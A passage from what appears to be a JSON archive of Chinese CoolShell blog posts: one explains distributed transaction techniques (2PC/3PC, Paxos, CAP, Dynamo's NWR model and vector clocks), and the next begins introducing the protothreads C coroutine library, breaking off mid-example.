弱一致性**：当你写入一个新值后，读操作在数据副本上可能读出来，也可能读不出来。比如：某些cache系统，网络游戏其它玩家的数据和你没什么关系，VOIP这样的系统，或是百度搜索引擎（呵呵）。\n\n\n2）**Eventually 最终一致性**：当你写入一个新值后，有可能读不出来，但在某个时间窗口之后保证最终能读出来。比如：DNS，电子邮件、Amazon S3，Google搜索引擎这样的系统。\n\n\n3）**Strong 强一致性**：新的数据一旦写入，在任意副本任意时刻都能读到新值。比如：文件系统，RDBMS，Azure Table都是强一致性的。\n\n\n从这三种一致型的模型上来说，我们可以看到，Weak和Eventually一般来说是异步冗余的，而Strong一般来说是同步冗余的，异步的通常意味着更好的性能，但也意味着更复杂的状态控制。同步意味着简单，但也意味着性能下降。 好，让我们由浅入深，一步一步地来看有哪些技术：\n\n\n#### Master-Slave\n\n\n首先是Master-Slave结构，对于这种加构，Slave一般是Master的备份。在这样的系统中，一般是如下设计的：\n\n\n1）读写请求都由Master负责。\n\n\n2）写请求写到Master上后，由Master同步到Slave上。\n\n\n从Master同步到Slave上，你可以使用异步，也可以使用同步，可以使用Master来push，也可以使用Slave来pull。 通常来说是Slave来周期性的pull，所以，是最终一致性。这个设计的问题是，如果Master在pull周期内垮掉了，那么会导致这个时间片内的数据丢失。如果你不想让数据丢掉，Slave只能成为Read-Only的方式等Master恢复。\n\n\n当然，如果你可以容忍数据丢掉的话，你可以马上让Slave代替Master工作（对于只负责计算的结点来说，没有数据一致性和数据丢失的问题，Master-Slave的方式就可以解决单点问题了） 当然，Master Slave也可以是强一致性的， 比如：当我们写Master的时候，Master负责先写自己，等成功后，再写Slave，两者都成功后返回成功，整个过程是同步的，如果写Slave失败了，那么两种方法，一种是标记Slave不可用报错并继续服务（等Slave恢复后同步Master的数据，可以有多个Slave，这样少一个，还有备份，就像前面说的写三份那样），另一种是回滚自己并返回写失败。（注：一般不先写Slave，因为如果写Master自己失败后，还要回滚Slave，此时如果回滚Slave失败，就得手工订正数据了）你可以看到，如果Master-Slave需要做成强一致性有多复杂。\n\n\n#### Master-Master\n\n\nMaster-Master，又叫[Multi-master](http://en.wikipedia.org/wiki/Multi-master_replication)，是指一个系统存在两个或多个Master，每个Master都提供read-write服务。这个模型是Master-Slave的加强版，数据间同步一般是通过Master间的异步完成，所以是最终一致性。 Master-Master的好处是，一台Master挂了，别的Master可以正常做读写服务，他和Master-Slave一样，当数据没有被复制到别的Master上时，数据会丢失。很多数据库都支持Master-Master的Replication的机制。\n\n\n另外，如果多个Master对同一个数据进行修改的时候，这个模型的恶梦就出现了——对数据间的冲突合并，这并不是一件容易的事情。看看Dynamo的Vector Clock的设计（记录数据的版本号和修改者）就知道这个事并不那么简单，而且Dynamo对数据冲突这个事是交给用户自己搞的。就像我们的SVN源码冲突一样，对于同一行代码的冲突，只能交给开发者自己来处理。（在本文后后面会讨论一下Dynamo的Vector Clock）\n\n\n#### Two/Three Phase Commit\n\n\n这个协议的缩写又叫2PC，中文叫两阶段提交。在分布式系统中，每个节点虽然可以知晓自己的操作时成功或者失败，却无法知道其他节点的操作的成功或失败。当一个事务跨越多个节点时，为了保持事务的ACID特性，需要引入一个作为**协调者**的组件来统一掌控所有节点(称作**参与者**)的操作结果并最终指示这些节点是否要把操作结果进行真正的提交(比如将更新后的数据写入磁盘等等)。 两阶段提交的算法如下：\n\n\n **第一阶段**：\n\n\n1. 协调者会问所有的参与者结点，是否可以执行提交操作。\n2. 各个参与者开始事务执行的准备工作：如：为资源上锁，预留资源，写undo/redo log……\n3. 参与者响应协调者，如果事务的准备工作成功，则回应“可以提交”，否则回应“拒绝提交”。\n\n\n**第二阶段**：\n\n\n* 如果所有的参与者都回应“可以提交”，那么，协调者向所有的参与者发送“正式提交”的命令。参与者完成正式提交，并释放所有资源，然后回应“完成”，协调者收集各结点的“完成”回应后结束这个Global Transaction。\n\n\n* 如果有一个参与者回应“拒绝提交”，那么，协调者向所有的参与者发送“回滚操作”，并释放所有资源，然后回应“回滚完成”，协调者收集各结点的“回滚”回应后，取消这个Global Transaction。\n\n\n![](../wp-content/uploads/2014/01/Two-phase_commit.png)\n\n\n我们可以看到，2PC说白了就是第一阶段做Vote，第二阶段做决定的一个算法，也可以看到2PC这个事是强一致性的算法。在前面我们讨论过Master-Slave的强一致性策略，和2PC有点相似，只不过2PC更为保守一些——先尝试再提交。 2PC用的是比较多的，在一些系统设计中，会串联一系列的调用，比如：A -> B -> C -> D，每一步都会分配一些资源或改写一些数据。比如我们B2C网上购物的下单操作在后台会有一系列的流程需要做。如果我们一步一步地做，就会出现这样的问题，如果某一步做不下去了，那么前面每一次所分配的资源需要做反向操作把他们都回收掉，所以，操作起来比较复杂。现在很多处理流程（Workflow）都会借鉴2PC这个算法，使用 try -> confirm的流程来确保整个流程的能够成功完成。 举个通俗的例子，西方教堂结婚的时候，都有这样的桥段：\n\n\n1）牧师分别问新郎和新娘：你是否愿意……不管生老病死……（询问阶段）\n\n\n2）当新郎和新娘都回答愿意后（锁定一生的资源），牧师就会说：我宣布你们……（事务提交）\n\n\n这是多么经典的一个两阶段提交的事务处理。 另外，我们也可以看到其中的一些问题， A）其中一个是同步阻塞操作，这个事情必然会非常大地影响性能。 B）另一个主要的问题是在TimeOut上，比如，\n\n\n1）如果第一阶段中，参与者没有收到询问请求，或是参与者的回应没有到达协调者。那么，需要协调者做超时处理，一旦超时，可以当作失败，也可以重试。\n\n\n2）如果第二阶段中，正式提交发出后，如果有的参与者没有收到，或是参与者提交/回滚后的确认信息没有返回，一旦参与者的回应超时，要么重试，要么把那个参与者标记为问题结点剔除整个集群，这样可以保证服务结点都是数据一致性的。\n\n\n3）糟糕的情况是，第二阶段中，如果参与者收不到协调者的commit/fallback指令，参与者将处于“状态未知”阶段，参与者完全不知道要怎么办，比如：如果所有的参与者完成第一阶段的回复后（可能全部yes，可能全部no，可能部分yes部分no），如果协调者在这个时候挂掉了。那么所有的结点完全不知道怎么办（问别的参与者都不行）。为了一致性，要么死等协调者，要么重发第一阶段的yes/no命令。\n\n\n两段提交最大的问题就是第3）项，**如果第一阶段完成后，参与者在第二阶没有收到决策，那么数据结点会进入“不知所措”的状态，这个状态会block住整个事务**。也就是说，协调者Coordinator对于事务的完成非常重要，Coordinator的可用性是个关键。 因些，我们引入三段提交，三段提交在[Wikipedia](http://en.wikipedia.org/wiki/Three-phase_commit_protocol)上的描述如下，他把二段提交的第一个段break成了两段：询问，然后再锁资源。最后真正提交。三段提交的示意图如下：\n\n\n![](../wp-content/uploads/2014/01/Three-phase_commit_diagram.png)\n\n\n三段提交的核心理念是：**在询问的时候并不锁定资源，除非所有人都同意了，才开始锁资源**。\n\n\n理论上来说，如果第一阶段所有的结点返回成功，那么有理由相信成功提交的概率很大。这样一来，可以降低参与者Cohorts的状态未知的概率。也就是说，一旦参与者收到了PreCommit，意味他知道大家其实都同意修改了。这一点很重要。下面我们来看一下3PC的状态迁移图：（**注意图中的虚线，那些F,T是Failuer或Timeout**，其中的：状态含义是 q – Query，a – Abort，w – Wait，p – PreCommit，c – Commit）\n\n\n![](../wp-content/uploads/2014/01/Three-phase_commit_status.png)\n\n\n从上图的状态变化图我们可以从虚线（那些F,T是Failuer或Timeout）看到——**如果结点处在P状态（PreCommit）的时候发生了F/T的问题，三段提交比两段提交的好处是，三段提交可以继续直接把状态变成C状态（Commit），而两段提交则不知所措**。\n\n\n其实，三段提交是一个很复杂的事情，实现起来相当难，而且也有一些问题。\n\n\n看到这里，我相信你有很多很多的问题，你一定在思考2PC/3PC中各种各样的失败场景，**你会发现Timeout是个非常难处理的事情，因为网络上的Timeout在很多时候让你无所事从，你也不知道对方是做了还是没有做。于是你好好的一个状态机就因为Timeout成了个摆设**。\n\n\n**一个网络服务会有三种状态：1）Success，2）Failure，3）Timeout，第三个绝对是恶梦，尤其在你需要维护状态的时候**。\n\n\n#### Two Generals Problem（两将军问题）\n\n\n[Two Generals Problem](http://en.wikipedia.org/wiki/Two_Generals'_Problem) 两将军问题是这么一个思维性实验问题： 有两支军队，它们分别有一位将军领导，现在准备攻击一座修筑了防御工事的城市。这两支军队都驻扎在那座城市的附近，分占一座山头。一道山谷把两座山分隔开来，并且两位将军唯一的通信方式就是派各自的信使来往于山谷两边。不幸的是，这个山谷已经被那座城市的保卫者占领，并且存在一种可能，那就是任何被派出的信使通过山谷是会被捕。 请注意，虽然两位将军已经就攻击那座城市达成共识，但在他们各自占领山头阵地之前，并没有就进攻时间达成共识。两位将军必须让自己的军队同时进攻城市才能取得成功。因此，他们必须互相沟通，以确定一个时间来攻击，并同意就在那时攻击。如果只有一个将军进行攻击，那么这将是一个灾难性的失败。 这个思维实验就包括考虑他们如何去做这件事情。下面是我们的思考：\n\n\n1）第一位将军先发送一段消息“让我们在上午9点开始进攻”。然而，一旦信使被派遣，他是否通过了山谷，第一位将军就不得而知了。任何一点的不确定性都会使得第一位将军攻击犹豫，因为如果第二位将军不能在同一时刻发动攻击，那座城市的驻军就会击退他的军队的进攻，导致他的军对被摧毁。\n\n\n2）知道了这一点，第二位将军就需要发送一个确认回条：“我收到您的邮件，并会在9点的攻击。”但是，如果带着确认消息的信使被抓怎么办？所以第二位将军会犹豫自己的确认消息是否能到达。\n\n\n3）于是，似乎我们还要让第一位将军再发送一条确认消息——“我收到了你的确认”。然而，如果这位信使被抓怎么办呢？\n\n\n4）这样一来，是不是我们还要第二位将军发送一个“确认收到你的确认”的信息。\n\n\n靠，于是你会发现，这事情很快就发展成为不管发送多少个确认消息，都没有办法来保证两位将军有足够的自信自己的信使没有被敌军捕获。\n\n\n![](../wp-content/uploads/2014/01/two-generals-problems.jpg)\n\n\n**这个问题是无解的**。两个将军问题和它的无解证明首先由E.A.Akkoyunlu,K.Ekanadham和R.V.Huber于1975年在《一些限制与折衷的网络通信设计》一文中发表，就在这篇文章的第73页中一段描述两个黑帮之间的通信中被阐明。 1978年，在Jim Gray的《数据库操作系统注意事项》一书中（从第465页开始）被命名为两个将军悖论。作为两个将军问题的定义和无解性的证明的来源，这一参考被广泛提及。\n\n\n这个实验意在阐明：试图通过建立在一个不可靠的连接上的交流来协调一项行动的隐患和设计上的巨大挑战。\n\n\n从工程上来说，一个解决两个将军问题的实际方法是使用一个能够承受通信信道不可靠性的方案，并不试图去消除这个不可靠性，但要将不可靠性削减到一个可以接受的程度。比如，第一位将军排出了100位信使并预计他们都被捕的可能性很小。在这种情况下，不管第二位将军是否会攻击或者受到任何消息，第一位将军都会进行攻击。另外，第一位将军可以发送一个消息流，而第二位将军可以对其中的每一条消息发送一个确认消息，这样如果每条消息都被接收到，两位将军会感觉更好。然而我们可以从证明中看出，他们俩都不能肯定这个攻击是可以协调的。他们没有算法可用（比如，收到4条以上的消息就攻击）能够确保防止仅有一方攻击。再者，第一位将军还可以为每条消息编号，说这是1号，2号……直到n号。这种方法能让第二位将军知道通信信道到底有多可靠，并且返回合适的数量的消息来确保最后一条消息被接收到。如果信道是可靠的话，只要一条消息就行了，其余的就帮不上什么忙了。最后一条和第一条消息丢失的概率是相等的。\n\n\n 两将军问题可以扩展成更变态的**拜占庭将军问题 (Byzantine Generals Problem)**，其故事背景是这样的：拜占庭位于现在土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。 在战争的时候，拜占庭军队内所有将军必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，军队可能有叛徒和敌军间谍，这些叛徒将军们会扰乱或左右决策的过程。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，这就是拜占庭将军问题。\n\n\n#### Paxos算法\n\n\n[Wikipedia上的各种Paxos算法](http://en.wikipedia.org/wiki/Paxos_(computer_science))的描述非常详细，大家可以去围观一下。\n\n\nPaxos 算法解决的问题是在一个可能发生上述异常的分布式系统中如何就某个值达成一致，保证不论发生以上任何异常，都不会破坏决议的一致性。一个典型的场景是，在一个分布式数据库系统中，如果各节点的初始状态一致，每个节点都执行相同的操作序列，那么他们最后能得到一个一致的状态。为保证每个节点执行相同的命令序列，需要在每一条指令上执行一个「一致性算法」以保证每个节点看到的指令一致。一个通用的一致性算法可以应用在许多场景中，是分布式计算中的重要问题。从20世纪80年代起对于一致性算法的研究就没有停止过。\n\n\n**Notes**：Paxos算法是莱斯利·兰伯特（Leslie Lamport，就是 LaTeX 中的”La”，此人现在在微软研究院）于1990年提出的一种基于消息传递的一致性算法。由于算法难以理解起初并没有引起人们的重视，使Lamport在八年后1998年重新发表到ACM Transactions on Computer Systems上（[The Part-Time Parliament](http://research.microsoft.com/users/lamport/pubs/lamport-paxos.pdf)）。即便如此paxos算法还是没有得到重视，2001年Lamport 觉得同行无法接受他的幽默感，于是用容易接受的方法重新表述了一遍（[Paxos Made Simple](http://research.microsoft.com/users/lamport/pubs/paxos-simple.pdf)）。可见Lamport对Paxos算法情有独钟。近几年Paxos算法的普遍使用也证明它在分布式一致性算法中的重要地位。2006年Google的三篇论文初现“云”的端倪，其中的Chubby Lock服务使用Paxos作为Chubby Cell中的一致性算法，Paxos的人气从此一路狂飙。（Lamport 本人在 [他的blog 中](http://research.microsoft.com/users/lamport/pubs/pubs.html#lamport-paxos)描写了他用9年时间发表这个算法的前前后后）\n\n\n注：Amazon的AWS中，所有的云服务都基于一个ALF（Async Lock Framework）的框架实现的，这个ALF用的就是Paxos算法。我在Amazon的时候，看内部的分享视频时，设计者在内部的Principle Talk里说他参考了ZooKeeper的方法，但他用了另一种比ZooKeeper更易读的方式实现了这个算法。\n\n\n简单说来，Paxos的目的是让整个集群的结点对某个值的变更达成一致。Paxos算法基本上来说是个民主选举的算法——大多数的决定会成个整个集群的统一决定。任何一个点都可以提出要修改某个数据的提案，是否通过这个提案取决于这个集群中是否有超过半数的结点同意（所以Paxos算法需要集群中的结点是单数）。\n\n\n这个算法有两个阶段（假设这个有三个结点：A，B，C）：\n\n\n**第一阶段：Prepare阶段**\n\n\nA把申请修改的请求Prepare Request发给所有的结点A，B，C。注意，Paxos算法会有一个Sequence Number（你可以认为是一个提案号，这个数不断递增，而且是唯一的，也就是说A和B不可能有相同的提案号），这个提案号会和修改请求一同发出，任何结点在“Prepare阶段”时都会拒绝其值小于当前提案号的请求。所以，结点A在向所有结点申请修改请求的时候，需要带一个提案号，越新的提案，这个提案号就越是是最大的。\n\n\n如果接收结点收到的提案号n大于其它结点发过来的提案号，这个结点会回应Yes（本结点上最新的被批准提案号），并保证不接收其它<n的提案。这样一来，结点上在Prepare阶段里总是会对最新的提案做承诺。\n\n\n优化：在上述 prepare 过程中，如果任何一个结点发现存在一个更高编号的提案，则需要通知 提案人，提醒其中断这次提案。\n\n\n**第二阶段：Accept阶段**\n\n\n如果提案者A收到了超过半数的结点返回的Yes，然后他就会向所有的结点发布Accept Request（同样，需要带上提案号n），如果没有超过半数的话，那就返回失败。\n\n\n当结点们收到了Accept Request后，如果对于接收的结点来说，n是最大的了，那么，它就会修改这个值，如果发现自己有一个更大的提案号，那么，结点就会拒绝修改。\n\n\n我们可以看以，这似乎就是一个“两段提交”的优化。其实，**2PC/3PC都是分布式一致性算法的残次版本，Google Chubby的作者Mike Burrows说过这个世界上只有一种一致性算法，那就是Paxos，其它的算法都是残次品。**\n\n\n我们还可以看到：对于同一个值的在不同结点的修改提案就算是在接收方被乱序收到也是没有问题的。\n\n\n关于一些实例，你可以看一下Wikipedia中文中的“[Paxos样例](http://zh.wikipedia.org/zh/Paxos%E7%AE%97%E6%B3%95#.E5.AE.9E.E4.BE.8B)”一节，我在这里就不再多说了。对于Paxos算法中的一些异常示例，大家可以自己推导一下。你会发现基本上来说只要保证有半数以上的结点存活，就没有什么问题。\n\n\n多说一下，自从Lamport在1998年发表Paxos算法后，对Paxos的各种改进工作就从未停止，其中动作最大的莫过于2005年发表的[Fast Paxos](http://research.microsoft.com/apps/pubs/default.aspx?id=64624)。无论何种改进，其重点依然是在消息延迟与性能、吞吐量之间作出各种权衡。为了容易地从概念上区分二者，称前者Classic Paxos，改进后的后者为Fast Paxos。\n\n\n#### 总结\n\n\n下图来自：Google App Engine的co-founder Ryan Barrett在2009年的google i/o上的演讲《[Transaction Across DataCenter](http://snarfed.org/transactions_across_datacenters_io.html)》（视频： [http://www.youtube.com/watch?v=srOgpXECblk](http://www.youtube.com/watch?v=srOgpXECblk \"阿里旺旺无法确定该链接的安全性\")）\n![](../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg)\n\n\n前面，我们说过，要想让数据有高可用性，就需要冗余数据写多份。写多份的问题会带来一致性的问题，而一致性的问题又会带来性能问题。从上图我们可以看到，我们基本上来说不可以让所有的项都绿起来，这就是著名的CAP理论：一致性，可用性，分区容忍性，你只可能要其中的两个。\n\n\n#### NWR模型\n\n\n**最后我还想提一下Amazon Dynamo的NWR模型。这个NWR模型把CAP的选择权交给了用户，让用户自己的选择你的CAP中的哪两个**。\n\n\n所谓NWR模型。N代表N个备份，W代表要写入至少W份才认为成功，R表示至少读取R个备份。**配置的时候要求W+R > N**。 因为W+R > N， 所以 R > N-W 这个是什么意思呢？就是读取的份数一定要比总备份数减去确保写成功的倍数的差值要大。\n\n\n也就是说，每次读取，都至少读取到一个最新的版本。从而不会读到一份旧数据。当我们需要高可写的环境的时候，我们可以配置W = 1 如果N=3 那么R = 3。 这个时候只要写任何节点成功就认为成功，但是读的时候必须从所有的节点都读出数据。如果我们要求读的高效率，我们可以配置 W=N R=1。这个时候任何一个节点读成功就认为成功，但是写的时候必须写所有三个节点成功才认为成功。\n\n\nNWR模型的一些设置会造成脏数据的问题，因为这很明显不是像Paxos一样是一个强一致的东西，所以，可能每次的读写操作都不在同一个结点上，于是会出现一些结点上的数据并不是最新版本，但却进行了最新的操作。\n\n\n所以，Amazon Dynamo引了数据版本的设计。也就是说，如果你读出来数据的版本是v1，当你计算完成后要回填数据后，却发现数据的版本号已经被人更新成了v2，那么服务器就会拒绝你。版本这个事就像“乐观锁”一样。\n\n\n但是，对于分布式和NWR模型来说，版本也会有恶梦的时候——就是版本冲的问题，比如：我们设置了N=3 W=1，如果A结点上接受了一个值，版本由v1 -> v2，但还没有来得及同步到结点B上（异步的，应该W=1，写一份就算成功），B结点上还是v1版本，此时，B结点接到写请求，按道理来说，他需要拒绝掉，但是他一方面并不知道别的结点已经被更新到v2，另一方面他也无法拒绝，因为W=1，所以写一分就成功了。于是，出现了严重的版本冲突。\n\n\nAmazon的Dynamo把版本冲突这个问题巧妙地回避掉了——版本冲这个事交给用户自己来处理。\n\n\n于是，Dynamo引入了Vector Clock（矢量钟？!）这个设计。这个设计让每个结点各自记录自己的版本信息，也就是说，对于同一个数据，需要记录两个事：1）谁更新的我，2）我的版本号是什么。\n\n\n下面，我们来看一个操作序列：\n\n\n1）一个写请求，第一次被节点A处理了。节点A会增加一个版本信息(A，1)。我们把这个时候的数据记做D1(A，1)。 然后另外一个对同样key的请求还是被A处理了于是有D2(A，2)。这个时候，D2是可以覆盖D1的，不会有冲突产生。\n\n\n2）现在我们假设D2传播到了所有节点(B和C)，B和C收到的数据不是从客户产生的，而是别人复制给他们的，所以他们不产生新的版本信息，所以现在B和C所持有的数据还是D2(A，2)。于是A，B，C上的数据及其版本号都是一样的。\n\n\n3）如果我们有一个新的写请求到了B结点上，于是B结点生成数据D3(A,2; B,1)，意思是：数据D全局版本号为3，A升了两新，B升了一次。这不就是所谓的代码版本的log么？\n\n\n4）如果D3没有传播到C的时候又一个请求被C处理了，于是，以C结点上的数据是D4(A,2; C,1)。\n\n\n5）好，最精彩的事情来了：如果这个时候来了一个读请求，我们要记得，我们的W=1 那么R=N=3，所以R会从所有三个节点上读，此时，他会读到三个版本：\n\n\n+ A结点：D2(A,2)\n+ B结点：D3(A,2;  B,1);\n+ C结点：D4(A,2;  C,1)\n\n\n6）这个时候可以判断出，D2已经是旧版本（已经包含在D3/D4中），可以舍弃。\n\n\n7）但是D3和D4是明显的版本冲突。于是，交给调用方自己去做版本冲突处理。就像源代码版本管理一样。\n\n\n很明显，上述的Dynamo的配置用的是CAP里的A和P。\n\n\n我非常推大家都去看看这篇论文：《[Dynamo：Amazon’s Highly Available Key-Value Store](http://www.read.seas.harvard.edu/~kohler/class/cs239-w08/decandia07dynamo.pdf)》，如果英文痛苦，你可以[看看译文](http://vdisk.weibo.com/s/AKRQZMLLc1ol)（译者不详）。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](http://coolshell.cn/articles/7490.html)[性能调优攻略](http://coolshell.cn/articles/7490.html)\n* [![由12306.cn谈谈网站性能技术 ](../wp-content/uploads/2012/01/12306-150x150.png)](http://coolshell.cn/articles/6470.html)[由12306.cn谈谈网站性能技术](http://coolshell.cn/articles/6470.html)\n* [![并发框架Disruptor译文](../wp-content/uploads/2013/02/Disruptor-150x150.png)](http://coolshell.cn/articles/9169.html)[并发框架Disruptor译文](http://coolshell.cn/articles/9169.html)\n* [![多版本并发控制(MVCC)在分布式系统中的应用](../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png)](http://coolshell.cn/articles/6790.html)[多版本并发控制(MVCC)在分布式系统中的应用](http://coolshell.cn/articles/6790.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](http://coolshell.cn/articles/8239.html)[无锁队列的实现](http://coolshell.cn/articles/8239.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](http://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](http://coolshell.cn/articles/7236.html)\nThe post [分布式系统的事务处理](https://coolshell.cn/articles/10910.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-1-28 一个“蝇量级” C 语言协程库.md",
    "content": "---\nlayout: post\ntitle: 一个“蝇量级” C 语言协程库\ndate: 2014/1/28/ 2:50:41\nupdated: 2014/1/28/ 2:50:41\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n协程(coroutine)顾名思义就是“协作的例程”（co-operative routines）。跟具有操作系统概念的线程不一样，协程是在用户空间利用程序语言的语法语义就能实现逻辑上类似多任务的编程技巧。实际上协程的概念比线程还要早，按照 Knuth 的说法**“子例程是协程的特例”**，一个子例程就是一次子函数调用，那么实际上协程就是类函数一样的程序组件，你可以在一个线程里面轻松创建数十万个协程，就像数十万次函数调用一样。只不过子例程只有一个调用入口起始点，返回之后就结束了，而协程入口既可以是起始点，又可以从上一个返回点继续执行，也就是说协程之间可以通过 yield 方式转移执行权，**对称（symmetric）、平级**地调用对方，而不是像例程那样上下级调用关系。当然 Knuth 的“特例”指的是协程也可以模拟例程那样实现上下级调用关系，这就叫**非对称协程**（asymmetric coroutines）。\n\n\n#### 基于事件驱动模型\n\n\n我们举一个例子来看看一种**对称协程**调用场景，大家最熟悉的“生产者-消费者”事件驱动模型，一个协程负责生产产品并将它们加入队列，另一个负责从队列中取出产品并使用它。为了提高效率，你想一次增加或删除多个产品。伪代码可以是这样的：\n\n\n\n```\n# producer coroutine\nloop\nwhile queue is not full\n  create some new items\n  add the items to queue\nyield to consumer\n\n# consumer coroutine\nloop\nwhile queue is not empty\n  remove some items from queue\n  use the items\nyield to producer\n```\n\n\n大多数教材上拿这种模型作为多线程的例子，实际上多线程在此的应用还是显得有点“重量级”，由于缺乏 yield 语义，线程之间不得不使用同步机制来避免产生全局资源的竟态，这就不可避免产生了休眠、调度、切换上下文一类的系统开销，而且线程调度还会产生时序上的不确定性。而对于协程来说，“挂起”的概念只不过是转让代码执行权并调用另外的协程，待到转让的协程告一段落后重新得到调用并从挂起点“唤醒”，这种协程间的调用是逻辑上可控的，时序上确定的，可谓一切尽在掌握中。\n\n\n当今一些具备协程语义的语言，比较重量级的如C#、erlang、golang，以及轻量级的python、lua、javascript、ruby，还有函数式的scala、scheme等。相比之下，作为原生态语言的 C 反而处于尴尬的地位，原因在于 C 依赖于一种叫做**栈帧**的例程调用，例程内部的状态量和返回值都保留在堆栈上，这意味着生产者和消费者相互之间无法实现平级调用，当然你可以改写成把生产者作为主例程然后将产品作为传递参数调用消费者例程，这样的代码写起来费力不讨好而且看起来会很难受，特别当协程数目达到十万数量级，这种写法就过于僵化了。\n\n\n这就引出了协程的概念，**如果将每个协程的上下文（比如程序计数器）保存在其它地方而不是堆栈上，协程之间相互调用时，被调用的协程只要从堆栈以外的地方恢复上次出让点之前的上下文即可，这有点类似于 CPU 的上下文切换，**遗憾的是似乎只有更底层的汇编语言才能做到这一点。\n\n\n难道 C 语言只能用多线程吗？幸运的是，C 标准库给我们提供了两种协程调度原语：一种是 [setjmp/longjmp](http://zh.wikipedia.org/wiki/Setjmp.h \"http://zh.wikipedia.org/wiki/Setjmp.h\")，另一种是 [ucontext 组件](http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html \"http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html\")，它们内部（当然是用汇编语言）实现了协程的上下文切换，相较之下前者在应用上会产生相当的不确定性（比如不好封装，具体说明参考联机文档），所以后者应用更广泛一些，网上绝大多数 C 协程库也是基于 ucontext 组件实现的。\n\n\n#### “蝇量级”的协程库\n\n\n在此，我来介绍一种“蝇量级”的开源 C 协程库 [protothreads](http://dunkels.com/adam/pt/ \"http://dunkels.com/adam/pt/\")。这是一个全部用 ANSI C 写成的库，之所以称为“蝇量级”的，就是说，实现已经不能再精简了，几乎就是原语级别。事实上 protothreads 整个库不需要链接加载，因为所有源码都是头文件，类似于 STL 这样不依赖任何第三方库，在任何平台上可移植；总共也就 5 个头文件，有效代码量不足 100 行；API 都是宏定义的，所以不存在调用开销；最后，每个协程的空间开销是 2 个字节（是的，你没有看错，就是一个 short 单位的“栈”！）当然这种精简是要以使用上的局限为代价的，接下来的分析会说明这一点。\n\n\n先来看看 protothreads 作者，[Adam Dunkels](http://dunkels.com/adam/ \"http://dunkels.com/adam/\")，一位来自瑞典皇家理工学院的计算机天才帅哥。话说这哥们挺有意思的，写了好多轻量级的作品，都是 BSD 许可证。顺便说一句，轻量级开源软件全世界多如牛毛，可像这位哥们写得如此出名的并不多。比如嵌入式网络操作系统 [Contiki](http://www.contiki-os.org/ \"http://www.contiki-os.org/\")，国人耳熟能详的 TCP/IP 协议栈 [uIP](http://en.wikipedia.org/wiki/UIP_(micro_IP) \"http://en.wikipedia.org/wiki/UIP_(micro_IP)\") 和 [lwIP](http://savannah.nongnu.org/projects/lwip/ \"http://savannah.nongnu.org/projects/lwip/\") 也是出自其手。上述这些软件都是经过数十年企业级应用的考验，质量之高可想而知。\n\n\n很多人会好奇如此“蝇量级”的代码究竟是怎么实现的呢？在分析 protothreads 源码之前，我先来给大家补一补 C 语言的基础课;-^)简而言之，这利用了 C 语言特性上的一个“奇技淫巧”，而且这种技巧恐怕连许多具备十年以上经验的 C 程序员老手都不见得知晓。当然这里先要声明我不是推荐大家都这么用，实际上这是以破坏语言的代码规范为代价，在一些严肃的项目工程中需要谨慎对待，除非你想被炒鱿鱼。\n\n\n#### C 语言的“yield 语义”\n\n\n下面的教程来自于一位 ARM 工程师、天才黑客 [Simon Tatham](http://www.chiark.greenend.org.uk/~sgtatham/ \"http://www.chiark.greenend.org.uk/~sgtatham/\")（开源 Telnet/SSH 客户端 [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/ \"http://www.chiark.greenend.org.uk/~sgtatham/putty/\") 和汇编器 [NASM](http://www.nasm.us/ \"http://www.nasm.us/\") 的作者，吐槽一句，PuTTY的源码号称是所有正式项目里最难 hack 的 C，你应该猜到作者是什么语言出身）的博文：[Coroutines in C](http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html \"http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html\")。中文译文在[这里](http://www.oschina.net/translate/coroutines-in-c \"http://www.oschina.net/translate/coroutines-in-c\")。\n\n\n我们知道 python 的 yield 语义功能类似于一种迭代生成器，函数会保留上次的调用状态，并在下次调用时会从上个返回点继续执行。用 C 语言来写就像这样：\n\n\n\n```\nint function(void) {\n  int i;\n  for (i = 0; i < 10; i++)\n    return i;   /* won't work, but wouldn't it be nice */\n}\n```\n\n连续对它调用 10 次，它能分别返回 0 到 9。该怎样实现呢？可以利用 goto 语句，如果我们在函数中加入一个状态变量，就可以这样实现：\n\n\n\n```\nint function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: goto LABEL0;\n    case 1: goto LABEL1;\n  }\n  LABEL0: /* start of function */\n  for (i = 0; i < 10; i++) {\n    state = 1; /* so we will come back to LABEL1 */\n    return i;\n    LABEL1:; /* resume control straight after the return */\n  }\n}\n```\n\n这个方法是可行的。我们在所有需要 yield 的位置都加上标签：起始位置加一个，还有所有 return 语句之后都加一个。每个标签用数字编号，我们在状态变量中保存这个编号，这样就能在我们下次调用时告诉我们应该跳到哪个标签上。每次返回前，更新状态变量，指向到正确的标签；不论调用多少次，针对状态变量的 switch 语句都能找到我们要跳转到的位置。\n\n\n但这还是难看得很。最糟糕的部分是所有的标签都需要手工维护，还必须保证函数中的标签和开头 switch 语句中的一致。每次新增一个 return 语句，就必须想一个新的标签名并将其加到 switch 语句中；每次删除 return 语句时，同样也必须删除对应的标签。这使得维护代码的工作量增加了一倍。\n\n\n仔细想想，其实我们可以不用 switch 语句来决定要跳转到哪里去执行，而是**直接利用 switch 语句本身来实现跳转**：\n\n\n\n```\nint function(void) {\n 